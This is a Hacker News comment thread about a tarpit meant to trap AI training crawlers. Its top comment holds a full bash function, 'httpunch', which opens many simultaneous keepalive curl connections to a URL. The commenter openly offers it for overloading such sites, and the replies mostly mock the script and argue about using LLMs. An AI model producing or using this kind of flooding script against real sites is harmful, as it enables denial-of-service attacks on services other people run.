Most active commenters
  • pmarreck(5)

←back to thread

646 points blendergeek | 11 comments | | HN request time: 1.369s | source | bottom
Show context
quchen ◴[] No.42725651[source]
Unless this concept becomes a mass phenomenon with many implementations, isn’t this pretty easy to filter out? And furthermore, since this antagonizes billion-dollar companies that can spin up teams doing nothing but browse Github and HN for software like this to prevent polluting their datalakes, I wonder whether this is a very efficient approach.
replies(9): >>42725708 #>>42725957 #>>42725983 #>>42726183 #>>42726352 #>>42726426 #>>42727567 #>>42728923 #>>42730108 #
1. pmarreck ◴[] No.42730108[source]
It's not. It's rather pointless and frankly, nearsighted. And we can DDoS sites like this just as offensively as well simply by making many requests to it since its own docs say its Markov generation is computationally expensive, but it is NOT expensive for even 1 person to make many requests to it. Just expensive to host. So feel free to use this bash function to defeat these:

    httpunch() {
      local url=$1
      local connections=${2:-${HTTPUNCH_CONNECTIONS:-100}}
      local action=$1
      local keepalive_time=${HTTPUNCH_KEEPALIVE:-60}
      local silent_mode=false

      # Check if "kill" was passed as the first argument
      if [[ $action == "kill" ]]; then
        echo "Killing all curl processes..."
        pkill -f "curl --no-buffer"
        return
      fi

      # Parse optional --silent argument
      for arg in "$@"; do
        if [[ $arg == "--silent" ]]; then
          silent_mode=true
          break
        fi
      done

      # Ensure URL is provided if "kill" is not used
      if [[ -z $url ]]; then
        echo "Usage: httpunch [kill | <url>] [number_of_connections] [--silent]"
        echo "Environment variables: HTTPUNCH_CONNECTIONS (default: 100), HTTPUNCH_KEEPALIVE (default: 60)."
        return 1
      fi

      echo "Starting $connections connections to $url..."
      for ((i = 1; i <= connections; i++)); do
        if $silent_mode; then
          curl --no-buffer --silent --output /dev/null --keepalive-time "$keepalive_time" "$url" &
        else
          curl --no-buffer --keepalive-time "$keepalive_time" "$url" &
        fi
      done

      echo "$connections connections started with a keepalive time of $keepalive_time seconds."
      echo "Use 'httpunch kill' to terminate them."
    }
(Generated in a few seconds with the help of an LLM of course.) Your free speech is also my free speech. LLM's are just a very useful tool, and Llama for example is open-source and also needs to be trained on data. And I <opinion> just can't stand knee-jerk-anticorporate AI-doomers who decide to just create chaos instead of using that same energy to try to steer the progress </opinion>.
replies(3): >>42730700 #>>42732664 #>>42742525 #
2. WD-42 ◴[] No.42730700[source]
You called the parent unintelligent yet need an LLM to show you how to run curl in a loop. Yikes.
replies(3): >>42735751 #>>42737351 #>>42742559 #
3. scudsworth ◴[] No.42732664[source]
"Ah, my favorite ADD tech nomad! adjusts monocle"

- https://gist.github.com/pmarreck/970e5d040f9f91fd9bce8a4bcee...

4. flir ◴[] No.42735751[source]
"I'm not lazy, I'm efficient" - Heinlein
5. thruway516 ◴[] No.42737351[source]
The 21st century script kiddy
replies(1): >>42742624 #
6. SrslyJosh ◴[] No.42742525[source]
Shhh, the adults are talking.
replies(1): >>42742586 #
7. pmarreck ◴[] No.42742559[source]
Your assumption that I couldn't have written this myself or that I didn't make corrections to it is telling. I've only been doing dev for 30+ years lol

LLMs are an accelerant, like all previous tools... Not a replacement, although it seems most people still need to figure that out for themselves while I already have

replies(1): >>42744153 #
8. pmarreck ◴[] No.42742586[source]
The only actual child is OP or anyone who actually believes their tarpit is going to be effective at stopping LLMs
9. pmarreck ◴[] No.42742624{3}[source]
https://news.ycombinator.com/item?id=42742559
10. dilDDoS ◴[] No.42744153{3}[source]
Sure, but in this case it's like driving your car 10 feet to your mailbox and then bragging about how it's an accelerant (in other words, the task wasn't remotely difficult to begin with and doesn't really warrant "accelerating"). I assume in this case your note about how it was written with an LLM was more just to spite the anti-LLM sentiment above though, which would make more sense.
replies(1): >>42745642 #
11. pmarreck ◴[] No.42745642{4}[source]
That's exactly what it was meant to do. You're right, this is a trivial use case.